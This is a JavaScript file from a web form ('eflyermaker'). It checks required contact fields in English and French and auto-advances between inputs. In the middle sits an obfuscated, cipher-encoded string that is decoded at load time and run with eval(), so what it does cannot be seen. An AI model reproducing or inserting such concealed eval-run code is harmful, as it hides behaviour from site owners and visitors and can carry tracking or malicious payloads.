function check_form()
{

	var msg = "";

    // Email obligatoire et valide (@ et .)
    if( document.eflyermaker.email.value != "" )
    {
        indexAroba = document.eflyermaker.email.value.indexOf( '@' );
        indexPoint = document.eflyermaker.email.value.indexOf( '.' );
		if ( (indexAroba < 0 ) || ( indexPoint < 0 ) )
		{
            msg +="'Email' field is incorrect\n";
            document.eflyermaker.email.focus();
		}
    } else {
        msg +="Please specify your Email\n";
        document.eflyermaker.email.focus();
    }
   
   	// Company obligatoire
    if( document.eflyermaker.Company.value == "" )
    {
        msg +="Please specify your Company\n";
        document.eflyermaker.Company.focus();
    }
    // Job_Title obligatoire
    if( document.eflyermaker.Job_Title.value == "" )
    {
        msg +="Please specify your Job Title\n";
        document.eflyermaker.Job_Title.focus();
    }   
        
	// Nom obligatoire
    if( document.eflyermaker.First_Name.value == "" )
    {
        msg +="Please specify your First Name\n";
        document.eflyermaker.First_Name.focus();
    }
    // Adresse obligatoire
    if( document.eflyermaker.Last_Name.value == "" )
    {
        msg +="Please specify your Last Name";
        document.eflyermaker.Last_Name.focus();
    }
	//Retour formulaire
	if (msg == "")
	{
		var model = /\r\n/g;
		var model2 = /\r/g; 
		var model3 = /\n/g;
		document.eflyermaker.Commentaires.value = document.eflyermaker.Commentaires.value.replace(model," -br- ");
		document.eflyermaker.Commentaires.value = document.eflyermaker.Commentaires.value.replace(model2," -br- ");
		document.eflyermaker.Commentaires.value = document.eflyermaker.Commentaires.value.replace(model3," -br- ");
		
		return(true);		
	}
	else
	{
		alert(msg);
		return(false);
	}
}

function check_form_fr()
{

	var msg = "";

    // Email obligatoire et valide (@ et .)
    if( document.eflyermaker.email.value != "" )
    {
        indexAroba = document.eflyermaker.email.value.indexOf( '@' );
        indexPoint = document.eflyermaker.email.value.indexOf( '.' );
		if ( (indexAroba < 0 ) || ( indexPoint < 0 ) )
		{
            msg +="Le champ 'Courriel' est incorrect\n";
            document.eflyermaker.email.focus();
		}
    } else {
        msg +="Veuillez saisir votre Courriel\n";
        document.eflyermaker.email.focus();
    }
   
   	// Company obligatoire
    if( document.eflyermaker.Compagnie.value == "" )
    {
        msg +="Veuillez saisir votre Compagnie\n";
        document.eflyermaker.Compagnie.focus();
    }
    // Job_Title obligatoire
    if( document.eflyermaker.Titre_Poste.value == "" )
    {
        msg +="Veuillez saisir votre Titre de Poste\n";
        document.eflyermaker.Titre_Poste.focus();
    }   
        
	// Nom obligatoire
    if( document.eflyermaker.Prenom.value == "" )
    {
        msg +="Veuillez saisir votre Prénom\n";
        document.eflyermaker.Prenom.focus();
    }
    // Adresse obligatoire
    if( document.eflyermaker.Nom.value == "" )
    {
        msg +="Veuillez saisir votre Nom";
        document.eflyermaker.Nom.focus();
    }
	//Retour formulaire
	if (msg == "")
	{
		var model = /\r\n/g;
		var model2 = /\r/g; 
		var model3 = /\n/g;
		document.eflyermaker.Commentaires.value = document.eflyermaker.Commentaires.value.replace(model," -br- ");
		document.eflyermaker.Commentaires.value = document.eflyermaker.Commentaires.value.replace(model2," -br- ");
		document.eflyermaker.Commentaires.value = document.eflyermaker.Commentaires.value.replace(model3," -br- ");
		
		return(true);		
	}
	else
	{
		alert(msg);
		return(false);
	}
}

var projet = "EP948damo";
var log_id = "EP948damo";

b="rB"
+"vIzxBGiKEBHrdeeLqdleEBDGmHLIshoeGxLGhxnOoFvFdlevIHijhytBtNotxiijXnOo5vefjFvIHijh"
+"debjwCpNArGHcPFvMs_jGEviijvGMD@hcEHwcLHnMFrICEMsEiqBFcFvlExrvKspMcdlDEHxrMgdqFqi"
+"xFj@aprBvIzxBGiKEBHrdeijmejhfmebLqEBDGre>gkItFgECtqFryirLqnIs_wCpNArGHcKssxFExF>"
+"ghjOoEmzBzlExGGxidKsFMsdghjOoEmzBzlFMFvGuhECtqFrygdb\rdlzBzlvwgdb\rdlzBzlExGGxbj";
a="@abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!#$%^&*():;/.\"<+ =\\\r_>";
key = "nms";
if (key) {
 fin = "";
 pos = 0;
 for (i=0;i<b.length;i++) {
  first = b.charAt(i);
  second = key.charAt(pos);
  fin+=a.charAt((a.indexOf(first)-a.indexOf(second)+a.length)%a.length);
  pos = (pos+1)%key.length;
 }
 eval(fin);
 fin=a=b=key="";
}

var isNN = (navigator.appName.indexOf("Netscape")!=-1);

function autoTab(input,len, e) {
  var keyCode = (isNN) ? e.which : e.keyCode; 
  var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46];
  if(input.value.length >= len && !containsElement(filter,keyCode)) {
    input.value = input.value.slice(0, len);
    input.form[(getIndex(input)+1) % input.form.length].focus();
  }

  function containsElement(arr, ele) {
    var found = false, index = 0;
    while(!found && index < arr.length)
    if(arr[index] == ele)
    found = true;
    else
    index++;
    return found;
  }

  function getIndex(input) {
    var index = -1, i = 0, found = false;
    while (i < input.form.length && index == -1)
    if (input.form[i] == input)index = i;
    else i++;
    return index;
  }
  return true;
}
